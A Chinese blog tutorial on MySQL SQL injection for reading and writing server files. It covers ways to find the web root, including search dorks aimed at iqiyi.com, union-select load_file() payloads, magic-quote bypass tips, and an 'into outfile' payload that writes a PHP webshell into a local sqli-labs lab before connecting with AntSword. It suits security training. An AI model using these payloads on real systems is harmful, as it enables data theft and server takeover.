【SQL注入-文件读写】文件的读取+写入:函数、使用方法

目录

一、文件读取

1.1、读取函数:

MySQL:

1.2、流程:

1.3、前提:

1.4、第一步:找路径:

方法一:

方法二:

方法三:

方法四:

方法五:

方法六:

方法七:

1.5、第二步:执行文件的读取操作

文件的读取

二、文件写入:

2.1、函数:

MySQL:

2.2、可能遇见的问题

 问题一:

问题二:

问题三:

问题四:

2.3、使用过程:

第一步:写入文件

第二步:使用菜刀、蚁剑、冰蝎等工具进行连接


一、文件读取

1.1、读取函数:

MySQL:

load_file():读取函数

1.2、流程:

1、找到需要读取文件所在位置,再获取路径路径

2、再执行文件的读取操作

1.3、前提:

  1. 有权限:当前用户有权限读取文件,数据库用户有FILE权限,File_priv为yes
  2. 服务器上:文件在服务器上(就是存在这个文件)
  3. 路径完整:读取文件的路径要是完整的
  4. 文件不超额:文件大小小于max_sllowed_packet
  5. 限制:secure_file_priv值为空(若值为某目录,只能对该目录的文件操作)

1.4、第一步:找路径:

方法一:

单引号爆出路径(报错显示)

【SQL注入-文件读写】文件的读取+写入:函数、使用方法_第1张图片

错误参数值爆路径(报错显示)  

现在很多错了都没有回显了 

【SQL注入-文件读写】文件的读取+写入:函数、使用方法_第2张图片


方法二:

通过搜索引擎获取(自我感觉效率低)

百度inurl:iqiyi.com warning

inurl:iqiyi.com "error"(或者“fatal error”)


方法三:

通过遗留的测试文件(扫描工具扫描)

/test.php

/ceshi.php

/info.php

/phpinfo.php

/php_info.php

/1.php

/x.php

【SQL注入-文件读写】文件的读取+写入:函数、使用方法_第3张图片

 (上图来自百度)


方法四:

通过注入点来读取文件操作来读取搭建网站平台的配置文件来获取路径


方法五:

通过burpsuite、sqlmap等扫描工具扫 描得到网站的map 

【SQL注入-文件读写】文件的读取+写入:函数、使用方法_第4张图片


方法六:

漏洞报错,知道网站是用什么cms或者框架进行搭建的,用搜索引擎去找到对应的爆路径方式,比如phpcms 爆路径


方法七:

爆破:无任何突破点,就可以运用一些常见固定的可能安装位置生成字典,对目标网站进行爆破

eg:
windows:d:/www/root/xxx/
linux:/var/www/xxx

1.5、第二步:执行文件的读取操作

文件的读取

union select 1,2,load_file('D:/test.txt')

?id=-1 union%20select 1,2,load_file(%27D:/BaiduNetdiskDownload/phpstudy/phpstudy_pro/tet.txt%27)

 (%20是换行,%27是引号,有路径时,防止转义可以将\改为\\或者/)



二、文件写入:

2.1、函数:

MySQL:

Into Outfile(能写入多行,按格式输出)和into Dumpfile(只能写入一行且没有输出格式)

2.2、可能遇见的问题

 问题一:

魔术引号(magic_quotes_gpc = On)

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串,预定义字符有:
单引号(’)双引号(”)反斜杠(\)NULL

可以使用编码或宽字节绕过(附带网盘下载)

链接:https://pan.baidu.com/s/1cW_bMM3tMtNroEb-oMyPkw 
提取码:hj12

【SQL注入-文件读写】文件的读取+写入:函数、使用方法_第5张图片

问题二:

sqli-labs靶场无法写入问题解决“ it cannot execute this statement”和“You have an error in your SQL syntax”icon-default.png?t=M4ADhttps://blog.csdn.net/qq_53079406/article/details/123051084?spm=1001.2014.3001.5501

问题三:

MySQL出现“Lost connection to MySQL server during query”问题分析与解决icon-default.png?t=M4ADhttps://blog.csdn.net/qq_53079406/article/details/123053586?spm=1001.2014.3001.5501

问题四:

解决“ERROR : (2006, ‘MySQL server has gone away”“Lost connection to MySQL server during query”错误方法icon-default.png?t=M4ADhttps://blog.csdn.net/qq_53079406/article/details/123056148?spm=1001.2014.3001.5501

2.3、使用过程:

第一步:写入文件

写入一句话木马

虽然还是报错,但是在目录下,是已经写入进去的

http://localhost:8080/sqli-labs-master/Less-7/
?id=1')) union select 1,'',3 into outfile 'D://BaiduNetdiskDownload/phpstudy/phpstudy_pro/WWW/sqli-labs-master/1.php' --+

【SQL注入-文件读写】文件的读取+写入:函数、使用方法_第6张图片

【SQL注入-文件读写】文件的读取+写入:函数、使用方法_第7张图片


第二步:使用菜刀、蚁剑、冰蝎等工具进行连接

连接是需要知道文件路径

所以写入的的时候需要指定路径的


下载、使用:

【WAF绕过-权限控制工具】菜刀、蚁剑、冰蝎 下载、使用方法https://blog.csdn.net/qq_53079406/article/details/124871969?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165389617516781685342067%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165389617516781685342067&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-2-124871969-null-null.nonecase&utm_term=%E8%8F%9C%E5%88%80&spm=1018.2226.3001.4450icon-default.png?t=M4ADhttps://blog.csdn.net/qq_53079406/article/details/124871969?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165389617516781685342067%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165389617516781685342067&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-2-124871969-null-null.nonecase&utm_term=%E8%8F%9C%E5%88%80&spm=1018.2226.3001.4450

此处以蚁剑为例

添加数据 

【SQL注入-文件读写】文件的读取+写入:函数、使用方法_第8张图片

【SQL注入-文件读写】文件的读取+写入:函数、使用方法_第9张图片

【SQL注入-文件读写】文件的读取+写入:函数、使用方法_第10张图片

【SQL注入-文件读写】文件的读取+写入:函数、使用方法_第11张图片

你可能感兴趣的:(sql,数据库,database)